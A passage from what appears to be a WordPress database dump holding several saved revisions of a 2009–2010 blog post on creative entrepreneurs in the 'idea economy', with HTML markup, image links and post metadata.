are:\r\n\r\n<strong>Autonomy</strong>\r\nthe desire to direct the course of their  own lives and be free from all bureaucratic structures.\r\n\r\n<strong>Mastery</strong>\r\na never-ending capacity to grow and get  better at something that really matters to them.\r\n\r\n<strong>Purpose</strong>\r\nthe yearning to do what matters to them,  and have that serve the good of others.\r\n\r\n<strong>What this means to you.</strong>\r\n\r\nMany people believe they don’t “have enough” resources to pursue  their ideas. They blame their lack and limitation on the closed  structures of the past fifty years. If you continue in the belief of  lack and limitation as a reason for not pursuing your ideas, and you  will miss the opportunity of your lifetime. Snooze, you lose.\r\n\r\nOn the other hand, creative entrepreneurs are “possibility thinkers”  framing their ideas around “what-if and why-not” questions. The emerging  creative idea-based economy is a system favorable to this point of  view. Never has potential and possibility for success been more  available!\r\n\r\nWhen you embark on the journey of pursuing ideas to grow your value  to the world, you’ll be focusing your energy on trusting your intuition  and imagination, (which is where all ideas come from) and less on the  evidence interpreted by your physical senses. New opportunity will show  up to strengthen your faith and belief. And with faith and belief, you  will have the will to set meaningful goals and persist in your action.  Persistent action gives you more momentum. Momentum leads to results.\r\n\r\n<strong> If you are an entrepreneur, or thinking about becoming one,  there is no better time than now to begin to take your creative business  to the next level!</strong>\r\n\r\n</div>', 'How the idea economy will unlock your power to grow wealth.', 0, '', 'inherit', 'open', 'open', '', '632-revision-40', '', '', '2010-05-13 11:16:34', '2010-05-13 18:16:34', '', 632, 'http://www.whitehotcenter.com/2010/05/13/632-revision-40/', 0, 'revision', '', 0),
(812, 2, '2010-05-13 11:10:25', '2010-05-13 18:10:25', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas4.gif"><img class="alignnone size-full wp-image-667" title="ideas" src="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas4.gif" alt="ideas" width="450" height="534" /></a><span style="color: #ff6600;"> </span></h2>\r\n<h2>In the idea economy, the value  entrepreneurs provide lies not in their physical products or services,   but in intangible assets such as their brand, reputation, network and  intellectual property. These assets form the white hot center of  competitive advantage.</h2>\r\n<div>\r\n\r\nMany entrepreneurs and solo  professionals get hung up on the word “creative”. Many entrepreneurs do  not believe they are creative. Many people think of the term as it  relates to artistic expression or ability. If you have a dry cleaning  business, you might not think of it as creative business at all. In  truth, being a successful entrepreneur in any business requires lots of  creativity and innovation. More so in an economy increasingly driven by  ideas!  There are three important characteristics all entrepreneurs  share:\r\n\r\n<strong>Creativity</strong>\r\ngenerating new ideas, evaluating them  effectively, taking action to turn them into new products and services  that create value.\r\n\r\n<strong>Collaboration</strong>\r\nconnecting and working with  partners, and other significant players in their network, which will  increasingly be scattered beyond local geography and contain more  ‘virtual’ relationships than face-to-face ones.\r\n\r\n<strong>Entrepreneurship</strong>\r\nidentifying opportunities in the  marketplace and using their business skills to transform formless ideas  into physical products and profits.\r\n\r\nEntrepreneurs have always relied on their creativity to produce  wealth, but the modern creative entrepreneur in the emerging idea  economy will go further and deeper. Noted author, John Howkins defines  creative entrepreneurs as people who “use creativity to unlock the  wealth that lies within them rather than with external capital”.  The  greater value creative entrepreneurs provides lies not in their physical  products (if any) but in intangible assets such as their brand,  reputation, social network and intellectual property. These assets form  the “inner game” I call the white hot center of competitive advantage.  Creative entrepreneurs inherently “know” their success begins inside  them, and they go outward from there. How do these three characteristics  show up in you?\r\n\r\n<strong>The New Age of Connection</strong>\r\n\r\nThere has never been a more favorable environment for creative  entrepreneurs with big ideas and the will to bring them into form.  Social Media is transforming every human structure and business model of  the last half-century. We are truly in a new age of human connection  and interaction. What’s different is the transparent and  “virtual  nature” of these interactions as a result of this exploding phenomena.  We are experiencing the embryonic beginnings of how humans will build  more transparent, tribal and profitable relationships with others of  like mind. It is in this fertile soil that the creative economy will  grow.and ideas are its currency.\r\n\r\nThis gives the creative entrepreneur a leg up simply because, by  their very nature, entrepreneurs are predisposed to thinking with  creativity and innovation. The social web will only grow in its  potential to bring humans closer, providing a powerful venue that is  favorable to ideas that create more value for people. Creative  entrepreneurs will form the core of this emerging group who will become  the new visionaries–people who create greater financial value from their  intangible ideas.\r\n\r\nIn the idea economy, the attributes that will power creative  entrepreneurs toward greater innovation and wealth creation are:\r\n\r\n<strong>Autonomy</strong>\r\nthe desire to direct the course of their  own lives and be free from all bureaucratic structures.\r\n\r\n<strong>Mastery</strong>\r\na never-ending capacity to grow and get  better at something that really matters to them.\r\n\r\n<strong>Purpose</strong>\r\nthe yearning to do what matters to them,  and have that serve the good of others.\r\n\r\n<strong>What this means to you.</strong>\r\n\r\nMany people believe they don’t “have enough” resources to pursue  their ideas. They blame their lack and limitation on the closed  structures of the past fifty years. If you continue in the belief of  lack and limitation as a reason for not pursuing your ideas, and you  will miss the opportunity of your lifetime. Snooze, you lose.\r\n\r\nOn the other hand, creative entrepreneurs are “possibility thinkers”  framing their ideas around “what-if and why-not” questions. The emerging  creative idea-based economy is a system favorable to this point of  view. Never has potential and possibility for success been more  available!\r\n\r\nWhen you embark on the journey of pursuing ideas to grow your value  to the world, you’ll be focusing your energy on trusting your intuition  and imagination, (which is where all ideas come from) and less on the  evidence interpreted by your physical senses. New opportunity will show  up to strengthen your faith and belief. And with faith and belief, you  will have the will to set meaningful goals and persist in your action.  Persistent action gives you more momentum. Momentum leads to results.\r\n\r\n<strong> If you are an entrepreneur, or thinking about becoming one,  there is no better time than now to begin to take your creative business  to the next level!</strong>\r\n\r\n</div>', 'The entrepreneur in the emerging idea economy.', 0, '', 'inherit', 'open', 'open', '', '632-revision-37', '', '', '2010-05-13 11:10:25', '2010-05-13 18:10:25', '', 632, 'http://www.whitehotcenter.com/2010/05/13/632-revision-37/', 0, 'revision', '', 0),
(811, 2, '2010-05-06 16:15:28', '2010-05-06 23:15:28', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas4.gif"><img class="alignnone size-full wp-image-667" title="ideas" src="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas4.gif" alt="ideas" width="450" height="534" /></a><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;"> </span>Many business people get hung up on the word “creative”. So many entrepreneurs do not believe they are creative. Many people think of the term as it relates to the creative arts, expression or artistic ability. If you have a dry cleaning business, you might not think of it as creative business at all. In truth, being a successful entrepreneur in any business requires lots of creativity and innovation.</h2>\r\nMy fellow bloggers at <strong><a href="http://lateralaction.com/articles/creative-entrepreneur" target="_blank">Lateral Action</a>,</strong> have an in-depth article on the subject that I think you would find helpful regardless of the business you are in.  I encourage you to check it out. There are three characteristics all entrepreneurs have:<strong> </strong>\r\n\r\n<strong>Creativity</strong>\r\n–generating new ideas, evaluating them effectively, taking action to turn them into new products and services.<strong> </strong>\r\n\r\n<strong>Collaboration</strong>\r\n– connecting and working with partners, and other significant players in their network, which will increasingly be scattered beyond local geography and contain more ‘virtual’ relationships than face-to-face ones.\r\n\r\n<strong>Entrepreneurship</strong>\r\n– identifying opportunities in the marketplace and using their business skills to transform formless ideas into physical products and profits.\r\n\r\nEntrepreneurs have always relied on their creativity to produce wealth, but the modern creative entrepreneur goes further and deeper. Noted author,<a href="http://www.amazon.com/Creative-Economy-People-Money-Ideas/dp/0140287949/ref=sr_1_1?ie=UTF8&amp;s=books&amp;qid=1221126168&amp;sr=8-1"> John Howkins</a> defines creative entrepreneurs as people who “use creativity to unlock the wealth that lies <em>within themselves</em> rather than with external capital”. The value that creative entrepreneurs create lies not in their physical products (if any) but in intangible assets such as their brand, reputation, network and intellectual property. This forms the “inner game” that I call the white hot center of competitive advantage. Creative entrepreneurs inherently “know” their success begins inside them, and they go from there. How do these three characteristics show up in you?\r\n\r\n<strong>The New Age of Connection</strong>\r\n\r\nThere has never been a more favorable environment for creative entrepreneurs with big ideas and the will to bring them into form. Social Media is transforming every human structure and business model of the last half-century. We are truly in a new age of human connection and interaction. What’s different is the transparent and  “virtual nature” of these interactions as a result of the exploding phenomena of social media.\r\n\r\nFor awhile, I thought social media might be a passing fad– the CB radio of our time. However, after more research and participation (this blog), I have come to the conclusion that it is far more. We are experiencing the embryonic beginnings of how humans will build more transparent, tribal and profitable relationships with others of like mind. It is in this fertile soil that the creative economy will grow.\r\n\r\nIdeas are its currency–particularly ideas that have a viral potential. This gives the creative entrepreneur a leg up simply because, by their very nature, they are predisposed to thinking with creativity and innovation about their business. The social web is not going away, it will only grow in its potential to bring humans closer, providing a powerful venue that is favorable to ideas that create more value for people. Creative entrepreneurs will form the core of this emerging group who will become the new visionaries–people who create financial value from their intangible ideas. Creative entrepreneurs are driven by:\r\n\r\n<em> </em>\r\n\r\n<em> </em>\r\n\r\n<strong>Autonomy</strong>\r\n– the desire to direct the course of their own lives.<em>\r\n</em><strong>Mastery</strong>\r\n– a never-ending capacity to grow and get better at something that really matters.<em>\r\n</em><strong>Purpose</strong>\r\n– the yearning to do what matters to them, and have that serve the good of others.\r\n\r\n<strong>What this means to you.</strong>\r\n\r\nMany people believe they don’t “have enough” resources to pursue their ideas. They blame their lack and limitation on the closed structures of the past fifty years. If you continue in the belief of lack and limitation as a reason for not pursuing your ideas, and you will miss the opportunity of your lifetime. Snooze, you lose.\r\n\r\nOn the other hand, creative entrepreneurs are “possibility thinkers” framing their ideas around “what-if and why-not” questions. The emerging creative idea-based economy is a system favorable to this point of view. Never has potential and possibility for success been more available!\r\n\r\nWhen you embark on the journey of pursuing your ideas to grow your value to the world, you’ll be focusing your energy on trusting your intuition and imagination, (which is where all ideas come from) and less on the evidence interpreted by your physical senses. New opportunity will show up to strengthen your faith and belief. And with faith and belief, you will have the will to set meaningful goals and persist in your action. Persistent action gives you more momentum, momentum leads to results.  There is no better time than now to begin to take your creative business to the next level. Think about these questions:\r\n\r\n<strong>What is important to you, what really matters?</strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>What motivates you? Are you moved by intrinsic ideals (doing what matters), or do you prefer the outside “carrot and stick” incentives (money, social status) for motivation?</strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>Let me know what you think about this.</strong><strong> </strong>', 'The entrepreneur in the emerging idea economy.', 0, '', 'inherit', 'open', 'open', '', '632-revision-36', '', '', '2010-05-06 16:15:28', '2010-05-06 23:15:28', '', 632, 'http://www.whitehotcenter.com/2010/05/06/632-revision-36/', 0, 'revision', '', 0);
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(802, 2, '2009-09-21 15:21:12', '2009-09-21 22:21:12', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas4.gif"><img class="alignnone size-full wp-image-667" title="ideas" src="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas4.gif" alt="ideas" width="450" height="534" /></a><span style="color: #ff6600;">One of the fundamental topics of interest here on the White Hot Center is this idea of creative business.\r\nFor many, that term may seem a little vague and ambiguous. In this post I’ll explain what I mean when\r\nI use the term creative business and more specifically “creative entrepreneur”.\r\n</span></h2>\r\nMany business people get hung up on the word “creative”. So many people do not believe they are creative. Many people think of the term as it relates to the creative arts, expression or artistic ability. If you have a dry cleaning business, you might not think of it as creative business at all. In truth, being a successful entrepreneur in any business requires lots of creativity and innovation. My fellow bloggers at <strong><a href="http://lateralaction.com/articles/creative-entrepreneur" target="_blank">Lateral Action</a>,</strong> have an in-depth article on the subject that I think you would find helpful regardless of the business you are in.  I encourage you to check it out.\r\n\r\nThere are three characteristics all entrepreneurs have:<strong> </strong>\r\n\r\n<strong>Creativity</strong>\r\n–generating new ideas, evaluating them effectively, taking action to turn them into new products and services.<strong> </strong>\r\n\r\n<strong>Collaboration</strong>\r\n– connecting and working with partners, and other significant players in their network, which will increasingly be scattered beyond local geography and contain more ‘virtual’ relationships than face-to-face ones.\r\n\r\n<strong>Entrepreneurship</strong>\r\n– identifying opportunities in the marketplace and using their business skills to transform formless ideas into physical products and profits.\r\n\r\nEntrepreneurs have always relied on their creativity to produce wealth, but the modern creative entrepreneur goes further and deeper. Noted author,<a href="http://www.amazon.com/Creative-Economy-People-Money-Ideas/dp/0140287949/ref=sr_1_1?ie=UTF8&amp;s=books&amp;qid=1221126168&amp;sr=8-1"> John Howkins</a> defines creative entrepreneurs as people who “use creativity to unlock the wealth that lies <em>within themselves</em> rather than with external capital”. The value that creative entrepreneurs create lies not in their physical products (if any) but in intangible assets such as their brand, reputation, network and intellectual property. This forms the “inner game” that I call the white hot center of competitive advantage. Creative entrepreneurs inherently “know” their success begins inside them, and they go from there. How do these three characteristics show up in you?\r\n\r\n<strong>The New Age of Connection</strong>\r\n\r\nThere has never been a more favorable environment for creative entrepreneurs with big ideas and the will to bring them into form. Social Media is transforming every human structure and business model of the last half-century. We are truly in a new age of human connection and interaction. What’s different is the transparent and  “virtual nature” of these interactions as a result of the exploding phenomena of social media.\r\n\r\nFor awhile, I thought social media might be a passing fad– the CB radio of our time. However, after more research and participation (this blog), I have come to the conclusion that it is far more. We are experiencing the embryonic beginnings of how humans will build more transparent, tribal and profitable relationships with others of like mind. It is in this fertile soil that the creative economy will grow.\r\n\r\nIdeas are its currency–particularly ideas that have a viral potential. This gives the creative entrepreneur a leg up simply because, by their very nature, they are predisposed to thinking with creativity and innovation about their business. The social web is not going away, it will only grow in its potential to bring humans closer, providing a powerful venue that is favorable to ideas that create more value for people. Creative entrepreneurs will form the core of this emerging group who will become the new visionaries–people who create financial value from their intangible ideas. Creative entrepreneurs are driven by:\r\n\r\n<em> </em>\r\n\r\n<em> </em>\r\n\r\n<strong>Autonomy</strong>\r\n– the desire to direct the course of their own lives.<em>\r\n</em><strong>Mastery</strong>\r\n– a never-ending capacity to grow and get better at something that really matters.<em>\r\n</em><strong>Purpose</strong>\r\n– the yearning to do what matters to them, and have that serve the good of others.\r\n\r\n<strong>What this means to you.</strong>\r\n\r\nMany people believe they don’t “have enough” resources to pursue their ideas. They blame their lack and limitation on the closed structures of the past fifty years. If you continue in the belief of lack and limitation as a reason for not pursuing your ideas, and you will miss the opportunity of your lifetime. Snooze, you lose.\r\n\r\nOn the other hand, creative entrepreneurs are “possibility thinkers” framing their ideas around “what-if and why-not” questions. The emerging creative idea-based economy is a system favorable to this point of view. Never has potential and possibility for success been more available!\r\n\r\nWhen you embark on the journey of pursuing your ideas to grow your value to the world, you’ll be focusing your energy on trusting your intuition and imagination, (which is where all ideas come from) and less on the evidence interpreted by your physical senses. New opportunity will show up to strengthen your faith and belief. And with faith and belief, you will have the will to set meaningful goals and persist in your action. Persistent action gives you more momentum, momentum leads to results.  There is no better time than now to begin to take your creative business to the next level. Think about these questions:\r\n\r\n<strong>What is important to you, what really matters?</strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>What motivates you? Are you moved by intrinsic ideals (doing what matters), or do you prefer the outside “carrot and stick” incentives (money, social status) for motivation?</strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>Let me know what you think about this.</strong><strong> </strong>', 'The entrepreneur in the emerging idea economy.', 0, '', 'inherit', 'open', 'open', '', '632-revision-35', '', '', '2009-09-21 15:21:12', '2009-09-21 22:21:12', '', 632, 'http://www.whitehotcenter.com/2009/09/21/632-revision-35/', 0, 'revision', '', 0),
(657, 2, '2009-09-21 15:01:08', '2009-09-21 22:01:08', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas1.gif"><img class="alignleft size-medium wp-image-649" title="ideas" src="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas1-252x300.gif" alt="ideas" width="252" height="300" /></a>\r\n<h2><span style="color: #ff6600;">One of the fundamental topics of interest here on the White Hot Center is this idea of creative business. For many, that term may seem a little vague and ambiguous. In this post I’ll explain what I mean when I use the term creative business and more specifically “creative entrepreneur”.\r\n</span></h2>\r\nMany business people get hung up on the word “creative”. So many people do not believe they are creative. Many people think of the term as it relates to the creative arts, expression or artistic ability. If you have a dry cleaning business, you might not think of it as creative business at all. In truth, being a successful entrepreneur in any business requires lots of creativity and innovation. My fellow bloggers at <strong><a href="http://lateralaction.com/articles/creative-entrepreneur" target="_blank">Lateral Action</a>,</strong> have an in-depth article on the subject that I think you would find helpful regardless of the business you are in.  I encourage you to check it out.\r\n\r\nThere are three characteristics all entrepreneurs have:<strong> </strong>\r\n\r\n<strong>Creativity</strong>\r\n–generating new ideas, evaluating them effectively, taking action to turn them into new products and services.<strong>\r\nCollaboration</strong>\r\n– connecting and working with partners, and other significant players in their network, which will increasingly be scattered beyond local geography and contain more ‘virtual’ relationships than face-to-face ones.<strong>\r\nEntrepreneurship</strong>\r\n– identifying opportunities in the marketplace and using their business skills to transform formless ideas into physical products and profits.\r\n\r\nEntrepreneurs have always relied on their creativity to produce wealth, but the modern creative entrepreneur goes further and deeper. Noted author,<a href="http://www.amazon.com/Creative-Economy-People-Money-Ideas/dp/0140287949/ref=sr_1_1?ie=UTF8&amp;s=books&amp;qid=1221126168&amp;sr=8-1"> John Howkins</a> defines creative entrepreneurs as people who “use creativity to unlock the wealth that lies <em>within themselves</em> rather than with external capital”. The value that creative entrepreneurs create lies not in their physical products (if any) but in intangible assets such as their brand, reputation, network and intellectual property. This forms the “inner game” that I call the white hot center of competitive advantage. Creative entrepreneurs inherently “know” their success begins inside them, and they go from there. How do these three characteristics show up in you?\r\n\r\n<strong>The New Age of Connection</strong>\r\n\r\nThere has never been a more favorable environment for creative entrepreneurs with big ideas and the will to bring them into form. Social Media is transforming every human structure and business model of the last half-century. We are truly in a new age of human connection and interaction. What’s different is the transparent and  “virtual nature” of these interactions as a result of the exploding phenomena of social media.\r\n\r\nFor awhile, I thought social media might be a passing fad– the CB radio of our time. However, after more research and participation (this blog), I have come to the conclusion that it is far more. We are experiencing the embryonic beginnings of how humans will build more transparent, tribal and profitable relationships with others of like mind. It is in this fertile soil that the creative economy will grow.\r\n\r\nIdeas are its currency–particularly ideas that have a viral potential. This gives the creative entrepreneur a leg up simply because, by their very nature, they are predisposed to thinking with creativity and innovation about their business. The social web is not going away, it will only grow in its potential to bring humans closer, providing a powerful venue that is favorable to ideas that create more value for people. Creative entrepreneurs will form the core of this emerging group who will become the new visionaries–people who create financial value from their intangible ideas. Creative entrepreneurs are driven by:\r\n\r\n<em> </em>\r\n\r\n<em> </em>\r\n\r\n<strong>Autonomy</strong>\r\n– the desire to direct the course of their own lives.<em>\r\n</em><strong>Mastery</strong>\r\n– a never-ending capacity to grow and get better at something that really matters.<em>\r\n</em><strong>Purpose</strong>\r\n– the yearning to do what matters to them, and have that serve the good of others.\r\n\r\n<strong>What this means to you.</strong>\r\n\r\nMany people believe they don’t “have enough” resources to pursue their ideas. They blame their lack and limitation on the closed structures of the past fifty years. If you continue in the belief of lack and limitation as a reason for not pursuing your ideas, and you will miss the opportunity of your lifetime. Snooze, you lose.\r\n\r\nOn the other hand, creative entrepreneurs are “possibility thinkers” framing their ideas around “what-if and why-not” questions. The emerging creative idea-based economy is a system favorable to this point of view. Never has potential and possibility for success been more available!\r\n\r\nWhen you embark on the journey of pursuing your ideas to grow your value to the world, you’ll be focusing your energy on trusting your intuition and imagination, (which is where all ideas come from) and less on the evidence interpreted by your physical senses. New opportunity will show up to strengthen your faith and belief. And with faith and belief, you will have the will to set meaningful goals and persist in your action. Persistent action gives you more momentum, momentum leads to results.  There is no better time than now to begin to take your creative business to the next level. Think about these questions:\r\n\r\n<strong>What is important to you, what really matters?</strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>What motivates you? Are you moved by intrinsic ideals (doing what matters), or do you prefer the outside “carrot and stick” incentives (money, social status) for motivation?</strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>Let me know what you think about this.</strong><strong> </strong>', 'The entrepreneur in the emerging idea economy.', 0, '', 'inherit', 'open', 'open', '', '632-revision-22', '', '', '2009-09-21 15:01:08', '2009-09-21 22:01:08', '', 632, 'http://www.whitehotcenter.com/2009/09/21/632-revision-22/', 0, 'revision', '', 0),
(658, 2, '2009-09-21 15:02:27', '2009-09-21 22:02:27', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas1.gif"><img class="alignleft size-medium wp-image-649" title="ideas" src="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas1-252x300.gif" alt="ideas" width="252" height="300" /></a><span style="color: #ff6600;">One of the fundamental topics of interest here on the White Hot Center is this idea of creative business. For many, that term may seem a little vague and ambiguous. In this post I’ll explain what I mean when I use the term creative business and more specifically “creative entrepreneur”.\r\n</span></h2>\r\nMany business people get hung up on the word “creative”. So many people do not believe they are creative. Many people think of the term as it relates to the creative arts, expression or artistic ability. If you have a dry cleaning business, you might not think of it as creative business at all. In truth, being a successful entrepreneur in any business requires lots of creativity and innovation. My fellow bloggers at <strong><a href="http://lateralaction.com/articles/creative-entrepreneur" target="_blank">Lateral Action</a>,</strong> have an in-depth article on the subject that I think you would find helpful regardless of the business you are in.  I encourage you to check it out.\r\n\r\nThere are three characteristics all entrepreneurs have:<strong> </strong>\r\n\r\n<strong>Creativity</strong>\r\n–generating new ideas, evaluating them effectively, taking action to turn them into new products and services.<strong>\r\nCollaboration</strong>\r\n– connecting and working with partners, and other significant players in their network, which will increasingly be scattered beyond local geography and contain more ‘virtual’ relationships than face-to-face ones.<strong>\r\nEntrepreneurship</strong>\r\n– identifying opportunities in the marketplace and using their business skills to transform formless ideas into physical products and profits.\r\n\r\nEntrepreneurs have always relied on their creativity to produce wealth, but the modern creative entrepreneur goes further and deeper. Noted author,<a href="http://www.amazon.com/Creative-Economy-People-Money-Ideas/dp/0140287949/ref=sr_1_1?ie=UTF8&amp;s=books&amp;qid=1221126168&amp;sr=8-1"> John Howkins</a> defines creative entrepreneurs as people who “use creativity to unlock the wealth that lies <em>within themselves</em> rather than with external capital”. The value that creative entrepreneurs create lies not in their physical products (if any) but in intangible assets such as their brand, reputation, network and intellectual property. This forms the “inner game” that I call the white hot center of competitive advantage. Creative entrepreneurs inherently “know” their success begins inside them, and they go from there. How do these three characteristics show up in you?\r\n\r\n<strong>The New Age of Connection</strong>\r\n\r\nThere has never been a more favorable environment for creative entrepreneurs with big ideas and the will to bring them into form. Social Media is transforming every human structure and business model of the last half-century. We are truly in a new age of human connection and interaction. What’s different is the transparent and  “virtual nature” of these interactions as a result of the exploding phenomena of social media.\r\n\r\nFor awhile, I thought social media might be a passing fad– the CB radio of our time. However, after more research and participation (this blog), I have come to the conclusion that it is far more. We are experiencing the embryonic beginnings of how humans will build more transparent, tribal and profitable relationships with others of like mind. It is in this fertile soil that the creative economy will grow.\r\n\r\nIdeas are its currency–particularly ideas that have a viral potential. This gives the creative entrepreneur a leg up simply because, by their very nature, they are predisposed to thinking with creativity and innovation about their business. The social web is not going away, it will only grow in its potential to bring humans closer, providing a powerful venue that is favorable to ideas that create more value for people. Creative entrepreneurs will form the core of this emerging group who will become the new visionaries–people who create financial value from their intangible ideas. Creative entrepreneurs are driven by:\r\n\r\n<em> </em>\r\n\r\n<em> </em>\r\n\r\n<strong>Autonomy</strong>\r\n– the desire to direct the course of their own lives.<em>\r\n</em><strong>Mastery</strong>\r\n– a never-ending capacity to grow and get better at something that really matters.<em>\r\n</em><strong>Purpose</strong>\r\n– the yearning to do what matters to them, and have that serve the good of others.\r\n\r\n<strong>What this means to you.</strong>\r\n\r\nMany people believe they don’t “have enough” resources to pursue their ideas. They blame their lack and limitation on the closed structures of the past fifty years. If you continue in the belief of lack and limitation as a reason for not pursuing your ideas, and you will miss the opportunity of your lifetime. Snooze, you lose.\r\n\r\nOn the other hand, creative entrepreneurs are “possibility thinkers” framing their ideas around “what-if and why-not” questions. The emerging creative idea-based economy is a system favorable to this point of view. Never has potential and possibility for success been more available!\r\n\r\nWhen you embark on the journey of pursuing your ideas to grow your value to the world, you’ll be focusing your energy on trusting your intuition and imagination, (which is where all ideas come from) and less on the evidence interpreted by your physical senses. New opportunity will show up to strengthen your faith and belief. And with faith and belief, you will have the will to set meaningful goals and persist in your action. Persistent action gives you more momentum, momentum leads to results.  There is no better time than now to begin to take your creative business to the next level. Think about these questions:\r\n\r\n<strong>What is important to you, what really matters?</strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>What motivates you? Are you moved by intrinsic ideals (doing what matters), or do you prefer the outside “carrot and stick” incentives (money, social status) for motivation?</strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>Let me know what you think about this.</strong><strong> </strong>', 'The entrepreneur in the emerging idea economy.', 0, '', 'inherit', 'open', 'open', '', '632-revision-23', '', '', '2009-09-21 15:02:27', '2009-09-21 22:02:27', '', 632, 'http://www.whitehotcenter.com/2009/09/21/632-revision-23/', 0, 'revision', '', 0),
(659, 2, '2009-09-21 15:03:44', '2009-09-21 22:03:44', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas1.gif"><img class="alignleft size-medium wp-image-649" title="ideas" src="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas1-252x300.gif" alt="ideas" width="219" height="261" /></a><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">One of the fundamental topics of interest here on the White Hot Center is this idea of creative business. For many, that term may seem a little vague and ambiguous. In this post I’ll explain what I mean when I use the term creative business and more specifically “creative entrepreneur”.\r\n</span></h2>\r\nMany business people get hung up on the word “creative”. So many people do not believe they are creative. Many people think of the term as it relates to the creative arts, expression or artistic ability. If you have a dry cleaning business, you might not think of it as creative business at all. In truth, being a successful entrepreneur in any business requires lots of creativity and innovation. My fellow bloggers at <strong><a href="http://lateralaction.com/articles/creative-entrepreneur" target="_blank">Lateral Action</a>,</strong> have an in-depth article on the subject that I think you would find helpful regardless of the business you are in.  I encourage you to check it out.\r\n\r\nThere are three characteristics all entrepreneurs have:<strong> </strong>\r\n\r\n<strong>Creativity</strong>\r\n–generating new ideas, evaluating them effectively, taking action to turn them into new products and services.<strong>\r\nCollaboration</strong>\r\n– connecting and working with partners, and other significant players in their network, which will increasingly be scattered beyond local geography and contain more ‘virtual’ relationships than face-to-face ones.<strong>\r\nEntrepreneurship</strong>\r\n– identifying opportunities in the marketplace and using their business skills to transform formless ideas into physical products and profits.\r\n\r\nEntrepreneurs have always relied on their creativity to produce wealth, but the modern creative entrepreneur goes further and deeper. Noted author,<a href="http://www.amazon.com/Creative-Economy-People-Money-Ideas/dp/0140287949/ref=sr_1_1?ie=UTF8&amp;s=books&amp;qid=1221126168&amp;sr=8-1"> John Howkins</a> defines creative entrepreneurs as people who “use creativity to unlock the wealth that lies <em>within themselves</em> rather than with external capital”. The value that creative entrepreneurs create lies not in their physical products (if any) but in intangible assets such as their brand, reputation, network and intellectual property. This forms the “inner game” that I call the white hot center of competitive advantage. Creative entrepreneurs inherently “know” their success begins inside them, and they go from there. How do these three characteristics show up in you?\r\n\r\n<strong>The New Age of Connection</strong>\r\n\r\nThere has never been a more favorable environment for creative entrepreneurs with big ideas and the will to bring them into form. Social Media is transforming every human structure and business model of the last half-century. We are truly in a new age of human connection and interaction. What’s different is the transparent and  “virtual nature” of these interactions as a result of the exploding phenomena of social media.\r\n\r\nFor awhile, I thought social media might be a passing fad– the CB radio of our time. However, after more research and participation (this blog), I have come to the conclusion that it is far more. We are experiencing the embryonic beginnings of how humans will build more transparent, tribal and profitable relationships with others of like mind. It is in this fertile soil that the creative economy will grow.\r\n\r\nIdeas are its currency–particularly ideas that have a viral potential. This gives the creative entrepreneur a leg up simply because, by their very nature, they are predisposed to thinking with creativity and innovation about their business. The social web is not going away, it will only grow in its potential to bring humans closer, providing a powerful venue that is favorable to ideas that create more value for people. Creative entrepreneurs will form the core of this emerging group who will become the new visionaries–people who create financial value from their intangible ideas. Creative entrepreneurs are driven by:\r\n\r\n<em> </em>\r\n\r\n<em> </em>\r\n\r\n<strong>Autonomy</strong>\r\n– the desire to direct the course of their own lives.<em>\r\n</em><strong>Mastery</strong>\r\n– a never-ending capacity to grow and get better at something that really matters.<em>\r\n</em><strong>Purpose</strong>\r\n– the yearning to do what matters to them, and have that serve the good of others.\r\n\r\n<strong>What this means to you.</strong>\r\n\r\nMany people believe they don’t “have enough” resources to pursue their ideas. They blame their lack and limitation on the closed structures of the past fifty years. If you continue in the belief of lack and limitation as a reason for not pursuing your ideas, and you will miss the opportunity of your lifetime. Snooze, you lose.\r\n\r\nOn the other hand, creative entrepreneurs are “possibility thinkers” framing their ideas around “what-if and why-not” questions. The emerging creative idea-based economy is a system favorable to this point of view. Never has potential and possibility for success been more available!\r\n\r\nWhen you embark on the journey of pursuing your ideas to grow your value to the world, you’ll be focusing your energy on trusting your intuition and imagination, (which is where all ideas come from) and less on the evidence interpreted by your physical senses. New opportunity will show up to strengthen your faith and belief. And with faith and belief, you will have the will to set meaningful goals and persist in your action. Persistent action gives you more momentum, momentum leads to results.  There is no better time than now to begin to take your creative business to the next level. Think about these questions:\r\n\r\n<strong>What is important to you, what really matters?</strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>What motivates you? Are you moved by intrinsic ideals (doing what matters), or do you prefer the outside “carrot and stick” incentives (money, social status) for motivation?</strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>Let me know what you think about this.</strong><strong> </strong>', 'The entrepreneur in the emerging idea economy.', 0, '', 'inherit', 'open', 'open', '', '632-revision-24', '', '', '2009-09-21 15:03:44', '2009-09-21 22:03:44', '', 632, 'http://www.whitehotcenter.com/2009/09/21/632-revision-24/', 0, 'revision', '', 0),
(660, 2, '2009-09-21 15:05:46', '2009-09-21 22:05:46', '', 'ideas', 0, '', 'inherit', 'open', 'open', '', 'ideas-3', '', '', '2009-09-21 15:05:46', '2009-09-21 22:05:46', '', 632, 'http://www.whitehotcenter.com/wp-content/uploads/2009/09/ideas2.gif', 0, 'attachment', 'image/gif', 0),
